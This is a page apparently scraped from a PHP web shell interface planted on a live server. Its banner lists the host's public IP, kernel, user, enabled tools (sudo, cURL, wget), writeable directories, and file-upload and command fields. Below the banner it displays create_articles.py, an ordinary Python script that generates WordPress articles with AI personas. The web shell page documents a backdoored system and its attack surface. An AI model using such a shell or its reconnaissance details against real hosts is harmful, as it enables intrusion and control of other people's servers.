403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/create_articles.py
"""
Article Generation Script

Creates articles using AI characters from Drupal on WordPress sites.
Supports featured images, secondary images, current events research, fact-checking, and series.

Usage:
    python create_articles.py <site_id> [options]

Options:
    --character <name>                     Use only the specified character (bypass selection)
    --character-description-file <path>    Load character description override from file
    --featured-image                       Generate featured image for articles
    --secondary-image                      Generate secondary image for articles
    --fact-check                           Post fact-check comments on new articles
    --corrections                          Post a corrections follow-up after the fact-check (requires --fact-check or the character's fact-check setting)
    --current-events                       Research current events before generating articles
    --no-previous-articles                 Exclude character's previous articles from context
    --series <name>                        Create article as part of a series (auto-creates or continues)
    --search-depth <basic|advanced>        Override search depth (basic=1 credit, advanced=2 credits)
    --chunks-per-source <1-3>             Override chunks per source (only with advanced depth)
    --seed-image-url <url>                 Reference image URL anchoring the featured image (single article or Part 1 only)
    --seed-image-instructions <text>       How the seed image should be used (e.g. "use this person as the main character")
    --seed-image-instructions-file <path>  Same as --seed-image-instructions but read from a file

Examples:
    python create_articles.py mysite --featured-image
    python create_articles.py mysite --character "John Doe" --fact-check
    python create_articles.py mysite --character-description-file cron-character-description.txt --current-events
    python create_articles.py mysite --no-previous-articles
    python create_articles.py mysite --character "John Doe" --series "My Story" --featured-image
    python create_articles.py mysite --current-events --search-depth advanced --chunks-per-source 2
    python create_articles.py mysite --character "John Doe" --featured-image \\
        --seed-image-url https://example.com/anchor.jpg \\
        --seed-image-instructions "use this person as the main character"
"""

import asyncio
import logging
import sys
import time

# IMPORTANT: Import cron_common FIRST to load .env before any app imports
import cron_common

from app.appTypes import ArticleCreationResult
from app.services.article_creation_service import ArticleCreationService
from app.services import posting_history
from app.services.credits_guard import CreditsExhausted


# Parse all arguments (including article-specific flags)
(site_id, character_name, character_description_override,
 generate_featured_image, generate_secondary_image,
 run_fact_check, research_current_events,
 include_previous_articles, series_name,
 search_depth_override, chunks_per_source_override,
 seed_image_url, seed_image_instructions,
 run_corrections) = cron_common.parse_article_arguments(__doc__)

# Display configuration
print(f"site id: {site_id}")
if character_name:
    print(f"SINGLE CHARACTER MODE: {character_name}")
if generate_featured_image:
    print("FEATURED IMAGE GENERATION ENABLED")
if generate_secondary_image:
    print("SECONDARY IMAGE GENERATION ENABLED")
if run_fact_check:
    print("FACT-CHECKING ENABLED")
if research_current_events:
    print("CURRENT EVENTS RESEARCH ENABLED")
if not include_previous_articles:
    print("PREVIOUS ARTICLES EXCLUDED")
if series_name:
    print(f"SERIES MODE: {series_name}")
if search_depth_override:
    print(f"SEARCH DEPTH OVERRIDE: {search_depth_override}")
if chunks_per_source_override is not None:
    print(f"CHUNKS PER SOURCE OVERRIDE: {chunks_per_source_override}")
if seed_image_url:
    print(f"SEED IMAGE URL: {seed_image_url}")
if seed_image_instructions:
    print(f"SEED IMAGE INSTRUCTIONS: {seed_image_instructions}")

# Check internet connectivity
cron_common.check_internet_connectivity()

# Setup logging
cron_common.setup_logging('api.log')

# Track script startup time
script_start = time.time()

# Initialize services
step_start = time.time()
wp_service, drupal_service, site_config_service, chat_service = cron_common.initialize_services()
logging.info(f"Services initialized ({time.time() - step_start:.2f}s)")

# Load site configuration
step_start = time.time()
site = cron_common.load_site_config(site_config_service, site_id)
logging.info(f"Site config loaded ({time.time() - step_start:.2f}s)")

# Get JWT token
step_start = time.time()
wp_token = cron_common.get_jwt_token(wp_service, site, site_id)
logging.info(f"JWT token obtained ({time.time() - step_start:.2f}s)")

# Fetch and filter characters
step_start = time.time()
filtered_characters = cron_common.fetch_and_filter_characters(
    drupal_service, wp_service, site, site_id, wp_token
)
logging.info(f"Characters fetched and filtered ({time.time() - step_start:.2f}s)")

# Select characters for article generation
step_start = time.time()
characters = cron_common.select_characters(
    filtered_characters, drupal_service, site, character_name,
    field='articlesPerDay'
)
logging.info(f"Characters selected ({time.time() - step_start:.2f}s)")

# Filter out characters that already posted today (skip in single-character mode)
if not character_name:
    step_start = time.time()
    characters = cron_common.filter_already_posted_today(
        characters, wp_service, site, wp_token
    )
    logging.info(f"Already-posted-today filter applied ({time.time() - step_start:.2f}s)")

    if not characters:
        logging.info('No characters remaining after today-filter.')
        print('No characters remaining after today-filter.')
        sys.exit(0)

# Load each character's existing articles
step_start = time.time()
cron_common.load_character_articles(characters, wp_service, site, wp_token)
logging.info(f"Character articles loaded ({time.time() - step_start:.2f}s)")

logging.info(f"Setup complete ({time.time() - script_start:.2f}s total)")

# Initialize article creation service
article_creation_service = ArticleCreationService()

# Generate articles with inline fact-checking
async def create_articles_for_characters():
    """Generate articles for all characters using ArticleCreationService."""
    created_articles = []

    for index, character in enumerate(characters):
        try:
            logging.info(f"Creating article for character: {character.name}")

            # Per-character: use global CLI flag if set, otherwise use character's own setting
            char_research = research_current_events or getattr(character, 'researchCurrentEvents', False)
            char_featured_image = generate_featured_image or getattr(character, 'createFeaturedImage', False)
            char_secondary_image = generate_secondary_image or getattr(character, 'createSecondaryImage', False)
            char_fact_check = run_fact_check or getattr(character, 'enableFactChecking', False)
            char_corrections = run_corrections or getattr(character, 'enableCorrections', False)
            char_include_previous = include_previous_articles and getattr(character, 'includePreviousArticles', True)

            # Apply CLI search parameter overrides to character object
            if search_depth_override:
                character.searchDepth = search_depth_override
            if chunks_per_source_override is not None:
                character.chunksPerSource = chunks_per_source_override

            # Call ArticleCreationService directly (no progress callback for CLI)
            result: ArticleCreationResult  = await article_creation_service.create_article(
                site=site,
                character=character,
                character_description_override=character_description_override,
                generate_featured_image=char_featured_image,
                generate_secondary_image=char_secondary_image,
                research_current_events=char_research,
                include_previous_articles=char_include_previous,
                enable_fact_checking=char_fact_check,
                enable_corrections=char_corrections,
                series_name=series_name,
                seed_image_url=seed_image_url,
                seed_image_instructions=seed_image_instructions,
                progress_callback=None  # Silent operation for CLI
            )

            # Store article data
            created_articles.append({
                'character': character,
                'article': result.article,
                'metadata': {
                    'post_id': result.post_id,
                    'featured_image_url': result.featured_image_url,
                    'secondary_image_url': result.secondary_image_url,
                    'search_results': result.search_results
                },
                'actual_model': result.actual_model
            })

            # Log success
            model_info = f"{result.actual_model.provider.value} {result.actual_model.name}"
            logging.info(f"Article created for '{character.name}' using model: {model_info}")

            # Record the posting so the schedule calendar can link to it
            posting_history.record_post(
                site,
                kind='article',
                character=character.name,
                status='success',
                character_slug=character.slug,
                storage_id=character.storageId,
                post_id=result.post_id,
                url=result.permalink or f"{site.wp_host}/?p={result.post_id}",
                title=result.article.title,
                model=result.actual_model.name,
            )

        except CreditsExhausted as e:
            # Out of credits is a site-level pause, not a per-character failure:
            # record it cleanly (no scary traceback) and stop — every remaining
            # character shares the same balance and would hit the cached verdict.
            logging.warning(f"Article generation paused for '{site.slug}': {e}")
            posting_history.record_post(
                site,
                kind='article',
                character=character.name,
                status='paused',
                character_slug=character.slug,
                storage_id=character.storageId,
                error=f"out of credits ({e.reason})",
            )
            break

        except Exception as e:
            logging.error(f"Failed to create article for '{character.name}': {e}", exc_info=True)
            posting_history.record_post(
                site,
                kind='article',
                character=character.name,
                status='failed',
                character_slug=character.slug,
                storage_id=character.storageId,
                error=str(e),
            )
            # Continue with other characters even if one fails
            continue

        # Delay between characters (except for last one)
        if index < len(characters) - 1:
            logging.info("Sleeping 60 seconds before next character...")
            time.sleep(60)

    return created_articles

try:
    created_articles = asyncio.run(create_articles_for_characters())
    logging.info(f"Successfully generated articles for {len(characters)} character(s)")
    if run_fact_check:
        logging.info(f"Fact-checking was performed inline during article creation")
    logging.info(f"Script completed ({time.time() - script_start:.2f}s total)")
except Exception as e:
    logging.error(f"Failed to generate articles: {e}", exc_info=True)
    print(f"Error generating articles: {e}")
    sys.exit(1)

print(f"Article generation complete! Created {len(created_articles) if created_articles else 0} article(s)")

Youez - 2016 - github.com/yon3zu
LinuXploit